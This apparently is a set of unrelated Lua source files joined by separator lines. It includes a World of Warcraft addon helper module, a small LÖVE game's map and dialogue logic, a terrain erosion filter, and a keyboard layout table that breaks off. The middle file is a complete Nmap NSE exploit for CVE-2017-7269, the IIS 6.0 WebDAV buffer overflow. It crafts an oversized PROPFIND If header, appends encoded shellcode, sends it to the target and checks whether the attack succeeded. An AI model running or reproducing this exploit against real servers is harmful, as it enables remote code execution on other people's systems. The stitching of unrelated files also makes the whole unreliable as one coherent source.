copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
]]--
-- luacheck: globals GetLocale
local mod = rgpvpw
local me = {}
mod.common = me
me.tag = "Common"
--[[
Depending on what locale the client has a different implementation is used
to normalize a spellname (this is determined once during addon load).
This is done because this function is time critical and can be called a lot during
fights with a lot of players.
]]--
if (GetLocale() == "deDE") then
--[[
Normalize spellName by replacing spaces with underscores and removing special characters including german umlaute
@param {string} spellName
@return {string}
normalized spellName
]]--
function me.NormalizeSpellname(spellName)
local name = string.gsub(string.lower(spellName), "%s+", "_")
name = string.gsub(name, "_%-_", "_")
name = string.gsub(name, "[-/]", "_")
name = string.gsub(name, "[':%(%)]+", "")
name = string.gsub(name, "ö", "oe")
name = string.gsub(name, "ü", "ue")
name = string.gsub(name, "ä", "ae")
name = string.gsub(name, "ß", "ss")
return name
end
else
--[[
Normalize spellName by replacing spaces with underscores and removing special characters
@param {string} spellName
@return {string}
normalized spellName
]]--
function me.NormalizeSpellname(spellName)
local name = string.gsub(string.lower(spellName), "%s+", "_")
name = string.gsub(name, "_%-_", "_")
name = string.gsub(name, "[-/]", "_")
name = string.gsub(name, "[':%(%)]+", "")
return name
end
end
--[[
@param {table} obj
the object that should be cloned
@return {table}
a clone of the object passed
]]--
function me.Clone(obj)
if type(obj) ~= "table" then return obj end
local res = {}
for k, v in pairs(obj) do
res[me.Clone(k)] = me.Clone(v)
end
return res
end
--[[
Calculate the length of a table
@param {table} t
return {number}
]]--
function me.TableLength(t)
local count = 0
for _ in pairs(t) do
count = count + 1
end
return count
end
--[[
Map wow events to a constant mapping
@param {string} event
@param {number} targetModifier
Certain events require to define what was the source of an event to determine the correct
spelltype
@return {number | nil}
number - The number representing the event according to RGPVPW_CONSTANTS.SPELL_TYPES
nil - if the event is not supported
]]--
function me.GetSpellType(event, targetModifier)
if event == "SPELL_CAST_SUCCESS" then
return RGPVPW_CONSTANTS.SPELL_TYPES.NORMAL
elseif event == "SPELL_CAST_START" then
return RGPVPW_CONSTANTS.SPELL_TYPES.START
elseif event == "SPELL_AURA_APPLIED" then
return RGPVPW_CONSTANTS.SPELL_TYPES.APPLIED
elseif event == "SPELL_AURA_REMOVED" then
return RGPVPW_CONSTANTS.SPELL_TYPES.REMOVED
elseif event == "SPELL_AURA_REFRESH" then
return RGPVPW_CONSTANTS.SPELL_TYPES.REFRESH
elseif event == "SPELL_MISSED" then
if targetModifier == RGPVPW_CONSTANTS.TARGET_SELF then
return RGPVPW_CONSTANTS.SPELL_TYPES.MISSED_SELF
elseif targetModifier == RGPVPW_CONSTANTS.TARGET_ENEMY then
return RGPVPW_CONSTANTS.SPELL_TYPES.MISSED_ENEMY
end
end
return nil
end
--[[
@param {number} spellType
One of RGPVPW.SPELL_TYPES
@return {string}
One of RGPVPW.SPELL_TYPE
]]--
function me.GetSpellMap(spellType)
if spellType == RGPVPW_CONSTANTS.SPELL_TYPES.MISSED_SELF then
return RGPVPW_CONSTANTS.SPELL_TYPE.SPELL_SELF_AVOID
elseif spellType == RGPVPW_CONSTANTS.SPELL_TYPES.MISSED_ENEMY then
return RGPVPW_CONSTANTS.SPELL_TYPE.SPELL_ENEMY_AVOID
elseif spellType == RGPVPW_CONSTANTS.SPELL_TYPES.START then
return RGPVPW_CONSTANTS.SPELL_TYPE.SPELL
else
return RGPVPW_CONSTANTS.SPELL_TYPE.SPELL
end
end
--[[
Check if the missType is support. See RGPVPW_CONSTANTS.MISS_TYPES for all supported
types.
An example for an unsupported missType is "ABSORB". If we don't filter that one out
the player would get a warning that he resisted a damaging spell such as "Cone of Cold"
when he used some form of shield. E.g. a priest used "Power Word: Shield" and completely absorbed
the enemies spell.
@param {string} missType
RGPVPW_CONSTANTS.MISS_TYPES
@return {boolean}
true - if the missType is supported
false - if the missType is not supported
]]--
function me.IsSupportedMissType(missType)
if RGPVPW_CONSTANTS.MISS_TYPES[missType] ~= nil then
return true
end
return false
end
--[[
Get a textures name by its numerical value
@parma {number} colorValue
@return {string}
]]--
function me.GetTextureNameByValue(colorValue)
for _, texture in pairs(RGPVPW_CONSTANTS.TEXTURES) do
if colorValue == texture.colorValue then
return texture.textureName
end
end
return RGPVPW_CONSTANTS.TEXTURES.none.texturName -- default if none was found
end
|
local sti = require "lib.sti"
local bump = require "lib.bump"
local bump_debug = require "lib.bump_debug"
function setupMap(m)
map = sti(m,{"bump"})
world = bump.newWorld(32)
map:bump_init(world)
speedx = 0
speedy = 0
inEncounter = false
local layer = map:addCustomLayer("spritesRender", #map.layers)
local player = getItem(map.objects, "player")
layer.sprites = {}
for _, sprite in pairs(map.objects) do
local img = love.graphics.newImage("assets/sprites/"..sprite.name..".png")
if sprite.name == "maplesyrup" then
img = love.graphics.newImage("assets/sprites/maplesyrupsmol.png")
end
layer.sprites[sprite.id] = {
name = sprite.name,
sprite = img,
x = sprite.x,
y = sprite.y,
ox = img:getWidth() / 4,
oy = img:getHeight() / 4,
width = img:getWidth(),
height = img:getHeight(),
talkedTo = false;
properties = sprite.properties
}
world:add(sprite, sprite.x, sprite.y, math.floor(img:getWidth() / 2), math.floor(img:getHeight() / 2))
end
getItem(layer.sprites, "player").sprite = love.graphics.newImage("assets/sprites/"..playerSprite.."e.png")
if level == "home" then
narration = "Hey look, there you are, all ready to go out on your epic quest. Better put on some clothes and grab your trusty backpack for storing food before you go, you probably won’t be coming back anytime soon."
elseif level == "tutorial" then
narration = "Oh hey, look at that person over there, they’ve got tons of food! I’m sure they’d be more than happy to share some with you. Go over and talk to them."
elseif level == "level1" then
narration = ""
elseif level == "level6" then
narration = "Oh hey, you finally made it? Wait, did you walk all the way here? Wow, good for you, that must have been a ton of work. I just took the train, was really nice, great picturesque views. Anyway, here it is the Great Refrigerator, go forward and claim your prize!"
end
layer.update = function(self, dt)
if math.abs(speedx) < 0.1 then
speedx = 0
end
if math.abs(speedy) < 0.1 then
speedy = 0
end
if love.keyboard.isDown("w", "up") then
getItem(self.sprites, "player").sprite = love.graphics.newImage("assets/sprites/"..playerSprite.."n.png")
speedy = speedy - 0.2
end
if love.keyboard.isDown("s", "down") then
getItem(self.sprites, "player").sprite = love.graphics.newImage("assets/sprites/"..playerSprite.."s.png")
speedy = speedy + 0.2
end
if love.keyboard.isDown("a", "left") then
getItem(self.sprites, "player").sprite = love.graphics.newImage("assets/sprites/"..playerSprite.."w.png")
speedx = speedx - 0.2
end
if love.keyboard.isDown("d", "right") then
getItem(self.sprites, "player").sprite = love.graphics.newImage("assets/sprites/"..playerSprite.."e.png")
speedx = speedx + 0.2
end
hunger = hunger + math.random()/250
if hunger >= 10 then
gamePhase = "gameover"
end
if speedx > 0 then
speedx = speedx - 0.1
elseif speedx < 0 then
speedx = speedx + 0.1
end
if speedy > 0 then
speedy = speedy - 0.1
elseif speedy < 0 then
speedy = speedy + 0.1
end
for _, sprite in pairs(self.sprites) do
if sprite.name == "player" then
sprite.attx = sprite.x + speedx
sprite.atty = sprite.y + speedy
sprite.x, sprite.y, cols, cols_len = world:move(player, sprite.attx, sprite.atty)
if not (sprite.attx == sprite.x) then
speedx = 0
end
if not (sprite.atty == sprite.y) then
speedy = 0
end
checkEncounters(sprite)
end
end
end
layer.draw = function(self)
for _, object in pairs(self.sprites) do
if object.name == "player" then
love.graphics.draw(
object.sprite,
math.floor(object.x),
math.floor(object.y),
0,
1,
1,
object.ox,
object.oy
)
else
love.graphics.draw(
object.sprite,
math.floor(object.x),
math.floor(object.y),
0,
1,
1,
0,
0
)
end
end
local nWidth, nLines = font24:getWrap(narration, screenWidth - 100)
local nHeight = (#nLines) * (font24:getHeight() + font24:getLineHeight())
love.graphics.setColor(0.1,0,0,0.5)
love.graphics.rectangle("fill", -3000, screenHeight - nHeight + ty, 6000, nHeight)
love.graphics.setColor(1,1,1,1)
love.graphics.printf(narration, 50 + tx, screenHeight - nHeight + ty, screenWidth - 100, 'center')
end
map:removeLayer("sprites")
end
function checkEncounters(player)
if inEncounter == false then
for _, sprite in pairs(map.layers["spritesRender"].sprites) do
if player.x+player.sprite:getWidth() >= sprite.x and
player.x <= sprite.x+sprite.width and
player.y+player.sprite:getHeight() >= sprite.y and
player.y <= sprite.y+sprite.height then
if sprite.properties["Is"] == "enemy" and sprite.talkedTo == false then
inEncounter = true
setupDialogue(sprite.properties["Dialogue"])
gamePhase = "dialogue"
sprite.talkedTo = true;
if level == "tutorial" then
narration = "Nice going, you’re a natural at this stuff! And look at the delicious food you’ve got now! You can click on your food to eat it. Make sure you eat enough food to avoid starving to death. Wouldn’t want that. You can always eat some Maple Syrup to satiate your hunger, but eating too much Maple Syrup will cause you to gain weight. Gain too much weight and, well, best you just don’t do that. Alright, well, guess I’ll leave you to it. Best of luck, and try not to die!"
end
break
elseif sprite.properties["Is"] == "door" then
if sprite.name == "homeDoor" then
if not clothed == true then
narration = "Easy there pal, I get it’s the apocalypse, but we’re not savages. Go put some clothes on."
break
elseif not backpacked == true then
narration = "I think you’re forgetting the whole reason you have to leave the house. You know, food. Go get your backpack so you can hold any food you find along the way."
break
end
elseif sprite.name == "tutorialDoor" then
if not tutorialComplete == true then
break
end
end
level = sprite.properties["LeadsTo"]
currMap = setupMap("assets/maps/"..level..".lua")
break
elseif sprite.properties["Is"] == "maplesyrup" and sprite.talkedTo == false then
inventoryAdd("Maple syrup")
sprite.talkedTo = true;
break
elseif sprite.name == "clothes" and not clothed == true then
narration = "Oh hey, looks like your shirt’s got a name tag on it, how handy. Too bad I can't read."
clothed = true
playerSprite = "player"
elseif sprite.name == "backpack" and not backpacked == true then
narration = "Backpack get! Now you can store all the food!"
backpacked = true
elseif sprite.name == "smeg" then
gamePhase = "gameover"
end
end
end
end
end
|
local nmap = require "nmap"
local string = require "string"
local shortport = require "shortport"
local vulns = require "vulns"
-- NSE Buffer Overflow vulnerability in IIS
---
-- @usage
-- ./nmap iis-buffer-overflow <target>
--
-- @output
-- PORT STATE SERVICE
-- 80/tcp open http
-- | iis-buffer-overflow:
-- | VULNERABLE: Buffer Overflow in IIS 6 and Windows Server 2003 R2
-- | State: LIKELY_VULNERABLE
-- | Risk factor: High CVSS: 10.0
-- | Description:
-- | Buffer overflow in the ScStoragePathFromUrl function in the WebDAV
-- | service in Internet Information Services (IIS) 6.0
-- | in Microsoft Windows Server 2003 R2 allows remote attackers to execute
-- | arbitrary code via a long header beginning with "If: <http://" in a
-- | PROPFIND request, as exploited in the wild in July or August 2016.
-- |
-- | Original exploit by Zhiniang Peng and Chen Wu.
-- |
-- | References:
-- | https://github.com/edwardz246003/IIS_exploit,
-- |_ https://0patch.blogspot.in/2017/03/0patching-immortal-cve-2017-7269.html
--
author = {
"Zhiniang Peng", -- Original author
"Chen Wu", -- Original author
"Rewanth Cool" -- NSE script author
}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit", "vuln", "intrusive"}
portrule = shortport.portnumber(80, "tcp")
action = function(host, port)
local socket, response, try, catch, payload, shellcode, vulnerable_name
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local vuln = {
title = 'Buffer Overflow in IIS 6 and Windows Server 2003 R2',
state = vulns.STATE.NOT_VULN,
risk_factor = "High",
description = [[
Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0
in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning
with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016.
Original exploit by Zhiniang Peng and Chen Wu.
]],
IDS = {
CVE = 'CVE-2017-7269'
},
scores = {
CVSS = '10.0'
},
references = {
'https://github.com/edwardz246003/IIS_exploit',
'https://0patch.blogspot.in/2017/03/0patching-immortal-cve-2017-7269.html'
},
dates = {
disclosure = {year = '2017', month = '03', day = '26'},
}
}
-- If domain name doesn't exist this line of code takes ip into consideration
vulnerable_name = host.targetname or host.ip
socket = nmap.new_socket()
catch = function()
socket:close()
end
try = nmap.new_try(catch)
try(socket:connect(host, port))
-- Crafting the payload by parts
-- Crafting the request with HTTP PROPFIND method
payload = 'PROPFIND / HTTP/1.1\r\nHost: ' .. vulnerable_name .. '\r\nContent-Length: 0\r\n'
payload = payload .. 'If: <http://' .. vulnerable_name .. '/aaaaaaa'
-- Random text added to payload (Can be modified only for experimental purposes)
payload = payload .. '\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd'
payload = payload .. '\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5'
payload = payload .. '\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91'
payload = payload .. '\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80'
payload = payload .. '\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3'
payload = payload .. '\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4'
payload = payload .. '\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88'
payload = payload .. '\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7'
payload = payload .. '\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab'
payload = payload .. '\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80'
payload = payload .. '\xb3\xe3\x95\xb7'
-- Main payload (Do not edit this part)
payload = payload .. '\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6'
payload = payload .. '\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88'
payload = payload .. '\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5'
payload = payload .. '\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83'
payload = payload .. '\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d'
payload = payload .. '\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7'
payload = payload .. '\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
payload = payload .. '>'
payload = payload .. ' (Not <locktoken:write1>) <http://' .. vulnerable_name .. '/bbbbbbb'
-- Random text added to payload (Can be modified only for experimental purposes)
payload = payload .. '\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6'
payload = payload .. '\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5'
payload = payload .. '\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7'
payload = payload .. '\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5'
payload = payload .. '\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5'
payload = payload .. '\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4'
payload = payload .. '\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6'
payload = payload .. '\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7'
payload = payload .. '\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3'
payload = payload .. '\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5'
-- Main payload (Do not edit this part)
payload = payload .. '\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7'
payload = payload .. '\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6'
payload = payload .. '\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5'
payload = payload .. '\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7'
payload = payload .. '\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6'
payload = payload .. '\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae'
payload = payload .. '\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80'
payload = payload .. '\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c'
payload = payload .. '\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0'
payload = payload .. '\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8'
payload = payload .. '\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'
-- Shellcode
shellcode = 'VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA'
shellcode = shellcode .. 'BAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V'
shellcode = shellcode .. '3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O0'
shellcode = shellcode .. '2LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ'
shellcode = shellcode .. '2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1'
shellcode = shellcode .. 'KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA'
payload = payload .. shellcode
payload = payload .. '>\r\n\r\n'
-- Exploiting the vulnerability
try(socket:send(payload))
-- We receive a 200 response if the payload succeeds.
response = try(socket:receive_bytes(80960))
socket:close()
-- Checking for 200 response in the response
local regex = "HTTP/1.1 (%d+)"
local status = string.match(response, regex)
if status == '200' then
-- Buffer overflow is successfully executed on the server.
vuln.state = vulns.STATE.EXPLOIT
vuln.exploit_results = response
elseif status == '400' then
-- Bad request error is occured because webdav is not installed.
vuln.state = vulns.STATE.LIKELY_VULN
vuln.exploit_results = "Server returned 400: Install webdav and try again."
elseif status == '502' then
-- Likely to have an error in the Server Name
vuln.state = vulns.STATE.LIKELY_VULN
vuln.exploit_results = "Server returned 502: Please try to change ServerName and run the exploit again"
elseif status ~= nil then
vuln.exploit_results = response
end
return vuln_report:make_output(vuln)
end
|
return
{
name="Erosion",
description="Erode heightmap.",
options=
{
{name="Power", type="value", value=0.3},
{name="Iterations", type="value", value=1},
{name="Use Mask 0?", type="flag", value=false},
{name="Invert Mask 0?", type="flag", value=false},
{name="Use Mask 1?", type="flag", value=false},
{name="Invert Mask 1?", type="flag", value=false},
{name="Use Mask 2?", type="flag", value=false},
{name="Invert Mask 2?", type="flag", value=false},
},
execute=function(self)
local ops=GetOptions(self.options)
local power=ops["Power"]
local ms=MaskSettings(ops["Use Mask 0?"], ops["Invert Mask 0?"], ops["Use Mask 1?"], ops["Invert Mask 1?"], ops["Use Mask 2?"], ops["Invert Mask 2?"])
local layername=ops["Layer"]
local it=ops["Iterations"]
local arr=CArray2Dd()
TerrainState:GetHeightMap(arr)
local c
for c=1,it,1 do
simpleErode(arr,0,power)
end
TerrainState:SetHeightBuffer(arr,ms,0)
end
}
|
return {
{vkey = 0x1b, frame = {x=4.00, y=6.00, width=40.00, height=40.00}, caption="Esc"};
{vkey = 0x70, frame = {x=84.00, y=6.00, width=40.00, height=40.00}, caption="F1"};
{vkey = 0x71, frame = {x=124.00, y=6.00, width=40.00, height=40.00}, caption="F2"};
{vkey = 0x72, frame = {x=164.00, y=6.00, width=40.00, height=40.00}, caption="F3"};
{vkey = 0x73, frame = {x=204.00, y=6.00, width=40.00, height=40.00}, caption="F4"};
{vkey = 0x74, frame = {x=264.00, y=6.00, width=40.00, height=40.00}, caption="F5"};
{vkey = 0x75, frame = {x=304.00, y=6.00, width=40.00, height=40.00}, caption="F6"};
{vkey = 0x76, frame = {x=344.00, y=6.00, width=40.00, height=40.00}, caption="F7"};
{vkey = 0x77, frame = {x=384.00, y=6.00, width=40.00, height=40.00}, caption="F8"};
{vkey = 0x78, frame = {x=444.00, y=6.00, width=40.00, height=40.00}, caption="F9"};
{vkey = 0x79, frame = {x=484.00, y=6.00, width=40.00, height=40.00}, caption="F10"};
{vkey = 0x7a, frame = {x=524.00, y=6.00, width=40.00, height=40.00}, caption="F11"};
{vkey = 0x7b, frame = {x=564.00, y=6.00, width=40.00, height=40.00}, caption="F12"};
{vkey = 0x00, frame = {x=4.00, y=82.00, width=40.00, height=40.00}, caption="`"};
{vkey = 0x31, frame = {x=44.00, y=82.00, width=40.00, height=40.00}, caption="1"};
{vkey = 0x32, frame = {x=84.00, y=82.00, width=40.00, height=40.00}, caption="2"};
{vkey = 0x33, frame = {x=124.00, y=82.00, width=40.00, height=40.00}, caption="3"};
{vkey = 0x34, frame = {x=164.00, y=82.00, width=40.00, height=40.00}, caption="4"};
{vkey = 0x35, frame = {x=204.00, y=82.00, width=40.00, height=40.00}, caption="5"};
{vkey = 0x36, frame = {x=244.00, y=82.00, width=40.00, height=40.00}, caption="6"};
{vkey = 0x37, frame = {x=284.00, y=82.00, width=40.00, height=40.00}, caption="7"};
{vkey = 0x38, frame = {x=324.00, y=82.00, width=40.00, height=40.00}, caption="8"};
{vkey = 0x39, frame = {x=364.00, y=82.00, width=40.00, height=40.00}, caption="9"};
{vkey = 0x30, frame = {x=404.00, y=82.00, width=40.00, height=40.00}, caption="0"};
{vkey = 0xbd, frame = {x=444.00, y=82.00, width=40.00, height=40.00}, caption="-"};
{vkey = 0xbb, frame = {x=484.00, y=82.00, width=40.00, height=40.00}, caption="="};
{vkey = 0x08, frame = {x=524.00, y=82.00, width=80.00, height=40.00}, caption="Backspace"};
{vkey = 0x09, frame = {x=4.00, y=122.00, width=60.00, height=40.00}, caption="Tab"};
{vkey = 0x51, frame = {x=64.00, y=122.00, width=40.00, height=40.00}, caption="Q"};
{vkey = 0x57, frame = {x=104.00, y=122.00, width=40.00, height=40.00}, caption="W"};
{vkey = 0x45, frame = {x=144.00, y=122.00, width=40.00, height=40.00}, caption="E"};
{vkey = 0x52, frame = {x=184.00, y=122.00, width=40.00, height=40.00}, caption="R"};
{vkey = 0x54, frame = {x=224.00, y=122.00, width=40.00, height=40.00}, caption="T"};
{vkey = 0x59, frame = {x=264.00, y=122.00, width=40.00, height=40.00}, caption="Y"};
{vkey = 0x55, frame = {x=304.00, y=122.00, width=40.00, height=40.00}, caption="U"};
{vkey = 0x49, frame = {x=344.00, y=122.00, width=40.00, height=40.00}, caption="I"};
{vkey = 0x4f, frame = {x=384.00, y=122.00, width=40.00, height=40.00}, caption="O"};
{vkey = 0x50, frame = {x=424.00, y=122.00, width=40.00, height=40.00}, caption="P"};
{vkey = 0xdb, frame = {x=464.00, y=122.00, width=40.00, height=40.00}, caption="["};
{vkey = 0xdd, frame = {x=504.00, y=122.00, width=40.00, height=40.00}, caption="]"};
{vkey = 0xdc, frame = {x=544.00, y=122.00, width=60.00, height=40.00}, caption="\\"};
{vkey = 0x14, frame = {x=4.00, y=162.00, width=70.00, height=40.00}, caption="Caps"};
{vkey = 0x41, frame = {x=74.00, y=162.00, width=40.00, height=40.00}, caption="A"};
{vkey = 0x53, frame = {x=114.00, y=162.00, width=40.00, height=40.00}, caption="S"};
{vkey = 0x44, frame = {x=154.00, y=162.00, width=40.00, height=40.00}, caption="D"};
{vkey = 0x46, frame = {x=194.00, y=162.00, width=40.00, height=40.00}, caption="F"};
{vkey = 0x47, frame = {x=234.00, y=162.00, width=40.00, height=40.00}, caption="G"};
{vkey = 0x48, frame = {x=274.00, y=162.00, width=40.00, height=40.00}, caption="H"};
{vkey = 0x4a, frame = {x=314.00, y=162.00, width=40.00, height=40.00}, caption="J"};
{vkey = 0x4b, frame = {x=354.00, y=162.00, width=40.00, height=40.00}, caption="K"};
{vkey = 0x4c, frame = {x=394.00, y=162.00, width=40.00, height=40.00}, caption="L"};
{vkey = 0xba, frame = {x=434.00, y=162.00, width=40.00, height=40.00}, caption=";"};
{vkey = 0xde, frame = {x=474.00, y=162.00, width=40.00, height=40.00}, caption="'"};
{vkey = 0x0d, frame = {x=514.00, y=162.00, width=90.00, height=40.00}, caption="Enter"};
{vkey = 0xa0, frame = {x=4.00, y=202.00, width=90.00, height=40.00}, caption="Shift"};
{vkey = 0x5a, frame = {x=94.00, y=202.00, width=40.00, height=40.00}, caption="Z"};
{vkey = 0x58, frame = {x=134.00, y=202.00, width=40.00, height=40.00}, caption="X"};
{vkey = 0x43, frame = {x=174.00, y=202.00, width=40.00, height=40.00}, caption="C"};
{vkey = 0x56, frame = {x=214.00, y=202.00, width=40.00, height=40.00}, caption="V"};
{vkey = 0x42, frame = {x=254.00, y=202.00, width=40.00, height=40.00}, caption="B"};
{vkey = 0x4e, frame = {x=294.00, y=202.00, width=40.00, height=40.00}, caption="N"};
